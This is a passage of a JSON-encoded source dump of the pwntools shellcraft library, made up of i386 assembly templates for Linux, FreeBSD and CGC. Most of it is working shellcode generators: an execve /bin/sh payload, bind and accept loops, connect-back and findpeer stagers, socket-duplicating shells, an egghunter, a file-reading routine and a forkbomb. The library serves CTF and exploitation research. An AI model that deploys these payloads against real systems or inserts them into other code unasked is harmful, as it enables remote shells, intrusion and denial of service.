array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_writev']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_writev'])\n%>\n    /* writev(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/__doc__",
    "content": "Shellcraft module containing generic Intel i386 shellcodes.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/breakpoint.asm",
    "content": "<%docstring>A single-byte breakpoint instruction.</%docstring>\n    int3\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/cgc/__doc__",
    "content": ""
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/cgc/allocate.asm",
    "content": "<%\n    from pwnlib.shellcraft.i386.cgc import syscall\n%>\n<%page args=\"length, is_X, addr\"/>\n<%docstring>\nInvokes the syscall allocate.\n\nFor more information, see:\nhttps://github.com/CyberGrandChallenge/libcgc/blob/master/allocate.md\n\nArguments:\n    length(int): length\n    is_X(int): is_X\n    addr(int): addr\n</%docstring>\n\n    ${syscall('SYS_allocate', length, is_X, addr)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/cgc/cat.asm",
    "content": "<%\n    from pwnlib.shellcraft.i386.cgc import syscall\n%>\n<%page args=\"length, is_X, addr\"/>\n<%docstring>\nInvokes the syscall allocate.\n\nFor more information, see:\nhttps://github.com/CyberGrandChallenge/libcgc/blob/master/allocate.md\n\nArguments:\n    length(int): length\n    is_X(int): is_X\n    addr(int): addr\n</%docstring>\n\n    ${syscall('SYS_allocate', length, is_X, addr)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/cgc/deallocate.asm",
    "content": "<%\n    from pwnlib.shellcraft.i386.cgc import syscall\n%>\n<%page args=\"addr, length\"/>\n<%docstring>\nInvokes the syscall deallocate.\n\nFor more information, see:\nhttps://github.com/CyberGrandChallenge/libcgc/blob/master/deallocate.md\n\nArguments:\n    addr(int): addr\n    length(int): length\n</%docstring>\n\n    ${syscall('SYS_deallocate', addr, length)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/cgc/fdwait.asm",
    "content": "<%\n    from pwnlib.shellcraft.i386.cgc import syscall\n%>\n<%page args=\"nfds, readfds, writefds, timeout, readyfds\"/>\n<%docstring>\nInvokes the syscall fdwait.\n\nFor more information, see:\nhttps://github.com/CyberGrandChallenge/libcgc/blob/master/fdwait.md\n\nArguments:\n    nfds(int): nfds\n    readfds(int): readfds\n    writefds(int): writefds\n    timeout(int): timeout\n    readyfds(int): readyfds\n</%docstring>\n\n    ${syscall('SYS_fdwait', nfds, readfds, writefds, timeout, readyfds)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/cgc/random.asm",
    "content": "<%\n    from pwnlib.shellcraft.i386.cgc import syscall\n%>\n<%page args=\"buf, count, rnd_bytes\"/>\n<%docstring>\nInvokes the syscall random.\n\nFor more information, see:\nhttps://github.com/CyberGrandChallenge/libcgc/blob/master/random.md\n\nArguments:\n    buf(int): buf\n    count(int): count\n    rnd_bytes(int): rnd_bytes\n</%docstring>\n\n    ${syscall('SYS_random', buf, count, rnd_bytes)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/cgc/receive.asm",
    "content": "<%\n    from pwnlib.shellcraft.i386.cgc import syscall\n%>\n<%page args=\"fd, buf, count, bytes\"/>\n<%docstring>\nInvokes the syscall receive.\n\nFor more information, see:\nhttps://github.com/CyberGrandChallenge/libcgc/blob/master/receive.md\n\nArguments:\n    fd(int): fd\n    buf(int): buf\n    count(int): count\n    bytes(int): bytes\n</%docstring>\n\n    ${syscall('SYS_receive', fd, buf, count, bytes)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/cgc/sendfile.asm",
    "content": "<%\n    from pwnlib.shellcraft import okay\n    from pwnlib.shellcraft.i386 import cgc, mov\n%>\n<%page args=\"src, dst, n=0x80\"/>\n<%docstring>\nForwards data from one file descriptor to another.\n\nFor more information, see:\nhttps://github.com/CyberGrandChallenge/libcgc/blob/master/allocate.md\n\nArguments:\n    src(int): Source file descriptor\n    dst(int): Destination file descriptor\n</%docstring>\n\n    push ebp\n    mov  ebp, esp\n% if n <= 0x80:\n    add esp, -${n}\n    ${cgc.receive(src, 'esp', n, 0)}\n%else:\n    ${mov('eax', n)}\n    sub esp, eax\n    ${cgc.transmit(src, 'esp', 'eax', 0)}\n%endif\n    ${cgc.transmit(dst, 'esp', n, 0)}\n    mov  esp, ebp\n    pop  ebp\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/cgc/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import i386\n  from pwnlib.constants import Constant\n  from pwnlib.abi import linux_i386_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4 = None, arg5 = None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n</%docstring>\n<%\n  append_cdq = False\n  if isinstance(syscall, (str, Constant)) and str(syscall).startswith('SYS_'):\n      syscall_repr = str(syscall)[4:] + \"(%s)\"\n      args = []\n  else:\n      syscall_repr = 'syscall(%s)'\n      if syscall is None:\n          args = ['?']\n      else:\n          args = [pretty(syscall, False)]\n\n  for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:\n      if arg is None:\n          args.append('?')\n      else:\n          args.append(pretty(arg, False))\n  while args and args[-1] == '?':\n      args.pop()\n  syscall_repr = syscall_repr % ', '.join(args)\n\n  registers = abi.register_arguments\n  arguments = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  regctx    = dict(zip(registers, arguments))\n%>\\\n    /* call ${syscall_repr} */\n%if any(a is not None for a in arguments):\n    ${i386.setregs(regctx)}\n%endif\n    int 0x80\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/cgc/terminate.asm",
    "content": "<%\n    from pwnlib.shellcraft.i386.cgc import syscall\n%>\n<%page args=\"status\"/>\n<%docstring>\nInvokes the syscall terminate.\n\nFor more information, see:\nhttps://github.com/CyberGrandChallenge/libcgc/blob/master/_terminate.md\n\nArguments:\n    status(int): status\n</%docstring>\n\n    ${syscall('SYS_terminate', status)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/cgc/transmit.asm",
    "content": "<%\n    from pwnlib.shellcraft.i386.cgc import syscall\n%>\n<%page args=\"fd, buf, count, tx_bytes\"/>\n<%docstring>\nInvokes the syscall transmit.\n\nFor more information, see:\nhttps://github.com/CyberGrandChallenge/libcgc/blob/master/transmit.md\n\nArguments:\n    fd(int): fd\n    buf(int): buf\n    count(int): count\n    tx_bytes(int): tx_bytes\n</%docstring>\n\n    ${syscall('SYS_transmit', fd, buf, count, tx_bytes)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/crash.asm",
    "content": "<%docstring>\nCrash.\n\nExample:\n\n    >>> run_assembly(shellcraft.crash()).poll(True)\n    -11\n</%docstring>\n    popad        /* fill all registers with shit */\n    xor esp, esp /* especially esp */\n    jmp esp      /* boom */\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/epilog.asm",
    "content": "<%page args=\"nargs=0\"/>\n<%docstring>\nFunction epilogue.\n\nArguments:\n    nargs(int): Number of arguments to pop off the stack.\n</%docstring>\n\n    leave\n%if nargs:\n    ret ${nargs}*4\n%else:\n    ret\n%endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/freebsd/__doc__",
    "content": "Shellcraft module containing Intel i386 shellcodes for FreeBSD.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/freebsd/acceptloop_ipv4.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from socket import htons %>\n<%page args=\"port\"/>\n<%docstring>\n    Args: port\n    Waits for a connection.  Leaves socket in EBP.\n    ipv4 only\n</%docstring>\n<% acceptloop = common.label(\"acceptloop\")\naccept = common.label(\"accept\")\nparent = common.label(\"parent\")\n%>\n\n${acceptloop}:\n        /*  Listens for and accepts a connection on ${int(port)}d forever */\n        /*  Socket file descriptor is placed in EBP */\n\n        /*  servfd = socket(AF_INET, SOCK_STREAM, 0) */\n        push SYS_socket\n        pop eax\n        cdq\n        push edx\n        push SOCK_STREAM\n        push AF_INET\n        push edx\n        int 0x80\n\n        /*  bind(servfd, &addr, sizeof addr); // sizeof addr == 0x10 */\n        pushw ${htons(int(port))}\n        pushw AF_INET\n        mov ebx, esp\n        push 0x10\n        push ebx\n        push eax\n        push eax\n        mov al, SYS_bind\n        int 0x80\n\n        /*  listen(servfd, whatever) */\n        mov al, SYS_listen\n        int 0x80\n\n        /*  sockfd = accept(servfd, NULL, whatever) */\n        pop ebx\n${accept}:\n        push edx\n        push ebx\n        push ebx\n        mov al, SYS_accept\n        int 0x80\n\n        /*  fork() */\n        push eax\n        mov al, SYS_fork\n        int 0x80\n\n        /*  close(is_parent ? sockfd : servfd) */\n        test eax, eax\n        jnz ${parent}\n        pop ebp\n\n${parent}:\n        push eax\n        push SYS_close\n        pop eax\n        int 0x80\n\n        /*  if(is_parent) goto .accept */\n        pop ecx\n        test ecx, ecx\n        jnz ${accept}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/freebsd/i386_to_amd64.asm",
    "content": "<%docstring>Returns code to switch from i386 to amd64 mode. Trashes eax.</%docstring>\n.code32\n    push 0x43 /*  This is the segment we want to go to */\n    /* \"db 0xff; sub al,0x24\" is \"jmp far [esp]\" by chance */\n    call $+4\n    sub al, 0x24\n.code64\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/freebsd/sh.asm",
    "content": "<% from pwnlib.shellcraft import i386 %>\n<%docstring>\nExecute /bin/sh\n</%docstring>\n\n\n    /*  Clear eax, ecx, edx */\n    xor eax, eax\n    push eax\n\n    /*  Push '/bin//sh' */\n${i386.pushstr(\"/bin//sh\")}\n    mov ecx, esp\n\n    /*  execve(\"/bin//sh\", {junk, 0}, {0}); */\n    push eax\n    push esp\n    push esp\n    push ecx\n    push eax\n    mov al, SYS_execve\n    int 0x80\n\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/freebsd/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import i386, pretty\n  from pwnlib.constants import Constant\n  from pwnlib.abi import freebsd_i386_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4 = None, arg5 = None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n\nExample:\n\n        >>> print(pwnlib.shellcraft.i386.freebsd.syscall('SYS_execve', 1, 'esp', 2, 0).rstrip())\n            /* call execve(1, 'esp', 2, 0) */\n            push SYS_execve /* 0x3b */\n            pop eax\n            /* push 0 */\n            push 1\n            dec byte ptr [esp]\n            /* push 2 */\n            push 2\n            push esp\n            /* push 1 */\n            push 1\n            /* push padding DWORD */\n            push eax\n            int 0x80\n        >>> print(pwnlib.shellcraft.i386.freebsd.syscall('SYS_execve', 2, 1, 0, 20).rstrip())\n            /* call execve(2, 1, 0, 0x14) */\n            push SYS_execve /* 0x3b */\n            pop eax\n            /* push 0x14 */\n            push 0x14\n            /* push 0 */\n            push 1\n            dec byte ptr [esp]\n            /* push 1 */\n            push 1\n            /* push 2 */\n            push 2\n            /* push padding DWORD */\n            push eax\n            int 0x80\n        >>> print(pwnlib.shellcraft.i386.freebsd.syscall().rstrip())\n            /* call syscall() */\n            /* setregs noop */\n            /* push padding DWORD */\n            push eax\n            int 0x80\n        >>> print(pwnlib.shellcraft.i386.freebsd.syscall('eax', 'ebx', 'ecx').rstrip())\n            /* call syscall('eax', 'ebx', 'ecx') */\n            /* setregs noop */\n            push ecx\n            push ebx\n            /* push padding DWORD */\n            push eax\n            int 0x80\n</%docstring>\n<%\n  if isinstance(syscall, (str, Constant)) and str(syscall).startswith('SYS_'):\n      syscall_repr = str(syscall)[4:] + \"(%s)\"\n      args = []\n  else:\n      syscall_repr = 'syscall(%s)'\n      if syscall is None:\n          args = ['?']\n      else:\n          args = [pretty(syscall, False)]\n\n  for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:\n      if arg is None:\n          args.append('?')\n      else:\n          args.append(pretty(arg, False))\n  while args and args[-1] == '?':\n      args.pop()\n  syscall_repr = syscall_repr % ', '.join(args)\n\n  registers  = abi.register_arguments\n  arguments  = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  arguments  = iter(filter(lambda arg: arg is not None, arguments))\n  regctx     = dict(zip(registers, arguments))\n  stack_args = reversed(list(arguments)) # push remaining args on stack in reverse order\n%>\\\n    /* call ${syscall_repr} */\n    ${i386.setregs(regctx)}\n%for arg in stack_args:\n    ${i386.push(arg)}\n%endfor\n    /* push padding DWORD */\n    push eax\n    int 0x80\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/function.asm",
    "content": "<%\n    from pwnlib.shellcraft import i386\n%>\n<%docstring>\nConverts a shellcraft template into a callable function.\n\nArguments:\n    template_sz(callable):\n        Rendered shellcode template.  Any variable Arguments\n        should be supplied as registers.\n    name(str):\n        Name of the function.\n    registers(list):\n        List of registers which should be filled from the stack.\n\n::\n\n    >>> shellcode = ''\n    >>> shellcode += shellcraft.function('write', shellcraft.i386.linux.write, )\n\n    >>> hello = shellcraft.i386.linux.echo(\"Hello!\", 'eax')\n    >>> hello_fn = shellcraft.i386.function(hello, 'eax').strip()\n    >>> exit = shellcraft.i386.linux.exit('edi')\n    >>> exit_fn = shellcraft.i386.function(exit, 'edi').strip()\n    >>> shellcode = '''\n    ...     push STDOUT_FILENO\n    ...     call hello\n    ...     push 33\n    ...     call exit\n    ... hello:\n    ...     %(hello_fn)s\n    ... exit:\n    ...     %(exit_fn)s\n    ... ''' % (locals())\n    >>> p = run_assembly(shellcode)\n    >>> p.recvall()\n    b'Hello!'\n    >>> p.wait_for_close()\n    >>> p.poll()\n    33\n\nNotes:\n\n    Can only be used on a shellcraft template which takes\n    all of its arguments as registers.  For example, the\n    pushstr\n</%docstring>\n<%page args=\"name, template_function, *registers\"/>\n<%\n    ifdef = '_%s_' % name\n%>\n/* ${name}(${', '.join(registers)}) */\n#ifndef ${ifdef}\n#define ${ifdef}\n${name}:\n    /* Save stack */\n    ${i386.prolog()}\n    /* Load arguments */\n% for i, reg in enumerate(registers):\n    ${i386.stackarg(i, reg)}\n% endfor\n    ${template_function(*registers)}\n    /* Restore stack */\n    ${i386.epilog(len(registers))}\n#endif /* ${ifdef} */\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/getpc.asm",
    "content": "<% from pwnlib.shellcraft import i386 %>\n<%docstring>Retrieves the value of EIP, stores it in the desired register.\n\nArgs:\n    return_value: Value to return\n</%docstring>\n<%page args=\"register = 'ecx'\"/>\n\n    call INC_EBX\n.equ INC_EBX, $-1\n    ret\n    pop ${register}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/infloop.asm",
    "content": "<%docstring>A two-byte infinite loop.</%docstring>\n    jmp $\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/itoa.asm",
    "content": "<%\nfrom pwnlib.shellcraft import pretty, common, registers\nfrom pwnlib.shellcraft.i386 import mov, pushstr\nfrom pwnlib import constants\n%>\n<%docstring>\nConverts an integer into its string representation, and pushes it\nonto the stack.\n\nArguments:\n    v(str, int):\n        Integer constant or register that contains the value to convert.\n    alloca\n\nExample:\n\n    >>> sc = shellcraft.i386.mov('eax', 0xdeadbeef)\n    >>> sc += shellcraft.i386.itoa('eax')\n    >>> sc += shellcraft.i386.linux.write(1, 'esp', 32)\n    >>> run_assembly(sc).recvuntil(b'\\x00')\n    b'3735928559\\x00'\n</%docstring>\n<%page args=\"v, buffer='esp', allocate_stack=True\"/>\n<%\nitoa_loop = common.label('itoa_loop')\nsize_loop = common.label('size_loop')\n\nassert v in registers.i386\n%>\\\n    /* atoi(${pretty(v,0)}) */\n%if allocate_stack and buffer=='esp':\n    sub esp, 0x10\n%endif\n## We need to know how long the string is, in order for\n## the beginning of the string to be *exactly* at esp.\n    ${mov('edi', buffer)}\n    ${mov('eax', v)}\n    push eax /* save for later */\n    ${mov('ecx', 10)}\n${size_loop}:\n    ${mov('edx', 0)}\n    div ecx\n    inc edi\n    test eax, eax\n    jnz ${size_loop}\n## null terminate\n    std\n    stosb\n## Now we begin the actual division process\n    pop eax\n ${itoa_loop}:\n    ${mov('edx', 0)}\n## ecx is already 10\n    div ecx\n    add  dl, ${ord('0')}\n    mov  BYTE PTR [edi], dl\n    dec  edi\n    test eax, eax\n    jnz  ${itoa_loop}\n    cld\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/__doc__",
    "content": "Shellcraft module containing Intel i386 shellcodes for Linux.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/acceptloop_ipv4.asm",
    "content": "<%\n    from pwnlib.shellcraft import common\n    from pwnlib.shellcraft import i386\n    from socket import htons\n%>\n<%page args=\"port\"/>\n<%docstring>\n    Args:\n        port(int): the listening port\n    Waits for a connection.  Leaves socket in EBP.\n    ipv4 only\n</%docstring>\n<%\n    acceptloop = common.label(\"acceptloop\")\n    looplabel = common.label(\"loop\")\n%>\n\n${acceptloop}:\n    /*  Listens for and accepts a connection on ${int(port)}d forever */\n    /*  Socket file descriptor is placed in EBP */\n\n    /*  sock = socket(AF_INET, SOCK_STREAM, 0) */\n    ${i386.push(0)}\n    ${i386.push('SOCK_STREAM')}\n    ${i386.push('AF_INET')}\n    ${i386.linux.syscall('SYS_socketcall', 'SYS_socketcall_socket', 'esp')}\n\n    ${i386.mov('esi', 'eax')}      /* keep socket fd */\n\n    /*  bind(sock, &addr, sizeof addr); // sizeof addr == 0x10 */\n    ${i386.push(0)}\n    /* ${htons(port)} == htons(${port}) */\n    ${i386.push('AF_INET | (%d << 16)' % htons(port))}\n    ${i386.mov('ecx', 'esp')}\n\n    ${i386.push(0x10)}    /* sizeof addr */\n    ${i386.push('ecx')}   /* &addr */\n    ${i386.push('eax')}   /* sock */\n    ${i386.linux.syscall('SYS_socketcall', 'SYS_socketcall_bind', 'esp')}\n\n    /*  listen(sock, whatever) */\n    ${i386.linux.syscall('SYS_socketcall', 'SYS_socketcall_listen')}\n\n\n${looplabel}:\n    /*  accept(sock, NULL, NULL) */\n    ${i386.push(0x0)}\n    ${i386.push('esi')} /* sock */\n    ${i386.linux.syscall('SYS_socketcall', 'SYS_socketcall_accept', 'esp')}\n\n    ${i386.mov('ebp', 'eax')}      /* keep in-coming socket fd */\n\n    ${i386.linux.syscall('SYS_fork')}\n    xchg eax, edi\n\n    test edi, edi\n    ${i386.mov('ebx', 'ebp')}\n    cmovz ebx, esi /*  on child we close the server sock instead */\n\n    /*  close(sock) */\n    ${i386.linux.syscall('SYS_close', 'ebx')}\n\n    test edi, edi\n    jnz ${looplabel}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/cat.asm",
    "content": "<%\n  import pwnlib.shellcraft as sc\n  from pwnlib.shellcraft import common\n%>\n<%page args=\"filename, fd=1\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\n\nExample:\n\n    >>> f = tempfile.mktemp()\n    >>> write(f, 'FLAG')\n    >>> run_assembly(shellcraft.i386.linux.cat(f)).recvall()\n    b'FLAG'\n\n</%docstring>\n<%\nlabel = common.label(\"sendfile_loop\")\n%>\n\n    ${sc.pushstr(filename)}\n    ${sc.open('esp', 'O_RDONLY', 'edx')}\n    ${sc.sendfile(fd, 'eax', 0, 0x7fffffff)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/cat2.asm",
    "content": "<%\n  import pwnlib.shellcraft as sc\n  from pwnlib.shellcraft import common\n%>\n<%page args=\"filename, fd=1, length=0x4000\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\nUses an extra stack buffer and must know the length.\n\nExample:\n\n    >>> f = tempfile.mktemp()\n    >>> write(f, 'FLAG')\n    >>> run_assembly(shellcraft.i386.linux.cat2(f)).recvall()\n    b'FLAG'\n\n</%docstring>\n\n    ${sc.pushstr(filename)}\n    ${sc.open('esp', 'O_RDONLY', length)}\n    sub esp, edx\n    ${sc.read('eax', 'esp', 'edx')}\n    ${sc.write(fd, 'esp', 'eax')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/connect.asm",
    "content": "<% from pwnlib.shellcraft.i386 import pushstr %>\n<% from pwnlib.shellcraft.i386.linux import socket, socketcall %>\n<% from pwnlib.constants import SYS_socketcall_connect %>\n<% from pwnlib.util.net import sockaddr %>\n\n<%page args=\"host, port, network = 'ipv4'\"/>\n<%docstring>\nConnects to the host on the specified port.\nLeaves the connected socket in edx\n\nArguments:\n    host(str): Remote IP address or hostname (as a dotted quad / string)\n    port(int): Remote port\n    network(str): Network protocol (ipv4 or ipv6)\n\nExamples:\n\n    >>> l = listen(timeout=5)\n    >>> assembly  = shellcraft.i386.linux.connect('localhost', l.lport)\n    >>> assembly += shellcraft.i386.pushstr('Hello')\n    >>> assembly += shellcraft.i386.linux.write('edx', 'esp', 5)\n    >>> p = run_assembly(assembly)\n    >>> l.wait_for_connection().recv()\n    b'Hello'\n\n    >>> l = listen(fam='ipv6', timeout=5)\n    >>> assembly = shellcraft.i386.linux.connect('::1', l.lport, 'ipv6')\n    >>> p = run_assembly(assembly)\n    >>> assert l.wait_for_connection()\n\n</%docstring>\n<%\n    sockaddr, length, address_family = sockaddr(host, port, network)\n%>\\\n\n/* open new socket, save it */\n    ${socket(network)}\n    mov edx, eax\n\n/* push sockaddr, connect() */\n    ${pushstr(sockaddr, False)}\n    mov ecx, esp\n    ${socketcall(SYS_socketcall_connect, 'edx', 'ecx', length)}\n\n/* Socket that is maybe connected is in edx */\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/connectstager.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.i386 import linux %>\n<%docstring>\nconnect recvsize stager\nArgs:\n    host, where to connect to\n    port, which port to connect to\n    network, ipv4 or ipv6? (default: ipv4)\n</%docstring>\n<%page args=\"host, port, network = 'ipv4'\"/>\n\n${linux.connect(host, port, network)}\n${linux.recvsize('ebp', 'ecx')}\n${linux.stager('ebx', 'ecx')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/dir.asm",
    "content": "<% from pwnlib.shellcraft import i386, pretty %>\n<%page args=\"in_fd = 'ebp', size = 0x800, allocate_stack = True\"/>\n<%docstring> Reads to the stack from a directory.\n\nArgs:\n    in_fd (int/str): File descriptor to be read from.\n    size (int): Buffer size.\n    allocate_stack (bool): allocate 'size' bytes on the stack.\n\nYou can optioanlly shave a few bytes not allocating the stack space.\n\nThe size read is left in eax.\n</%docstring>\n%if allocate_stack:\n  sub esp, ${pretty(size)}\n%endif\n  ${i386.linux.getdents(in_fd, 'esp', size)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/dupio.asm",
    "content": "<% from pwnlib.shellcraft.i386.linux import dup2 %>\n<% from pwnlib.shellcraft.i386 import setregs %>\n<% from pwnlib.shellcraft import common %>\n<%page args=\"sock = 'ebp'\"/>\n<%docstring>\nArgs: [sock (imm/reg) = ebp]\n    Duplicates sock to stdin, stdout and stderr\n</%docstring>\n<%\n  looplabel = common.label(\"loop\")\n%>\n\n    /* dup() file descriptor ${sock} into stdin/stdout/stderr */\n    ${setregs({'ebx': sock, 'ecx': 2})}\n${looplabel}:\n    ${dup2('ebx', 'ecx')}\n    dec ecx\n    jns ${looplabel}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/dupsh.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.i386 import linux %>\n<%page args=\"sock = 'ebp'\"/>\n<%docstring>\nArgs: [sock (imm/reg) = ebp]\n    Duplicates sock to stdin, stdout and stderr and spawns a shell.\n</%docstring>\n\n\n${linux.dupio(sock)}\n\n${linux.sh()}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/echo.asm",
    "content": "<% from pwnlib.shellcraft import i386 %>\n<%page args=\"string, sock = '1'\"/>\n<%docstring>\nWrites a string to a file descriptor\n\nExample:\n\n    >>> run_assembly(shellcraft.echo('hello', 1)).recvall()\n    b'hello'\n\n</%docstring>\n\n${i386.pushstr(string, append_null = False)}\n${i386.linux.syscall('SYS_write', sock, 'esp', len(string))}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/egghunter.asm",
    "content": "<%\nfrom pwnlib.shellcraft import i386, pretty, common\nfrom pwnlib.util.packing import pack, unpack\nfrom pwnlib.util.lists import group\nfrom pwnlib import constants, log\n%>\n<%page args=\"egg, start_address = 0\"/>\n<%docstring>\negghunter(egg, start_address = 0)\n\nSearches memory for the byte sequence 'egg'.\n\nReturn value is the address immediately following the match,\nstored in RDI.\n\nArguments:\n    egg(str, int): String of bytes, or word-size integer to search for\n    start_address(int): Where to start the search\n</%docstring>\n<%\negghunter_loop = common.label('egghunter_loop')\nmemcmp         = common.label('egghunter_memcmp')\ndone           = common.label('egghunter_done')\nnext_page      = common.label('egghunter_nextpage')\n\negg_str = egg\nif isinstance(egg, int):\n    egg_str = pack(egg)\n\nif len(egg_str) % 4:\n    log = log.getLogger('pwnlib.shellcraft.templates.i386.linux.egghunter')\n    log.error(\"Egg size must be a multiple of four bytes\")\n%>\n    cld\n    ${i386.pushstr(egg_str, False)}\n% if start_address:\n    ${i386.mov('ebx', start_address)}\n% endif\n\n## Search for pages\n${egghunter_loop}:\n    ${i386.linux.access('ebx', 0)}\n\n## EFAULT == Bad address\n    cmp al, (-${pretty(constants.EFAULT)}) & 0xff\n    jz ${next_page}\n\n## We found a page, scan all of the DWORDs\n    ${i386.mov('edx', 0x1000 // 4)}\n${memcmp}:\n    test edx, edx\n    jz   ${next_page}\n\n## Scan forward by DWORD\n    ${i386.setregs({'esi':'esp',\n                    'edi':'ebx',\n                    'ecx': len(egg_str) // 4})}\n## Success?\n    repe cmpsd\n    jz ${done}\n\n## Increment the starting point, decement the counter, restart\n    add ebx, 4\n    dec edx\n    jnz ${memcmp}\n\n${next_page}:\n## Next page\n    or   bx, 0xfff\n    inc ebx\n    jmp ${egghunter_loop}\n${done}:\n\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/findpeer.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from socket import htons %>\n<%page args=\"port = None\"/>\n<%docstring>\nArgs: port (defaults to any port)\n    Finds a socket, which is connected to the specified port.\n    Leaves socket in ESI.\n</%docstring>\n<%\n  findpeer = common.label(\"findpeer\")\n  looplabel = common.label(\"loop\")\n%>\n${findpeer}:\n    push -1\n    push SYS_socketcall_getpeername\n    mov ebp, esp\n    pop ebx\n    pop esi\n\n${looplabel}:\n    push SYS_socketcall\n    pop eax\n\n    inc esi\n    lea ecx, [esp-32]\n\n    push 4\n    pushad\n\n    int 0x80\n% if port is None:\n    test eax, eax\n    popad\n    pop edx\n    jnz ${looplabel}\n% else:\n    popad\n    pop edx\n    shr eax, 16\n    cmp ax, ${htons(int(port))}\n    jne ${looplabel}\n%endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/findpeersh.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.i386 import linux %>\n<%page args=\"port = None\"/>\n<%docstring>\nArgs: port (defaults to any)\n    Finds an open socket which connects to a specified\n    port, and then opens a dup2 shell on it.\n</%docstring>\n\n\n${linux.findpeer(port)}\n\n${linux.dupsh(\"esi\")}\n\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/findpeerstager.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.i386 import linux %>\n<%docstring>\nFindpeer recvsize stager\nArgs:\n    port, the port given to findpeer (defaults to any)\n</%docstring>\n<%page args=\"port = None\"/>\n\n${linux.findpeer(port)}\n${linux.recvsize('esi', 'ecx')}\n${linux.stager('ebx', 'ecx')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/forkbomb.asm",
    "content": "<%\n    from pwnlib.shellcraft.i386.linux import fork\n    from pwnlib.shellcraft.common import label\n%>\n<%docstring>\nPerforms a forkbomb attack.\n</%docstring>\n<%\n    dosloop = label('fork_bomb')\n%>\n${dosloop}:\n    ${fork()}\n    jmp ${dosloop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/forkexit.asm",
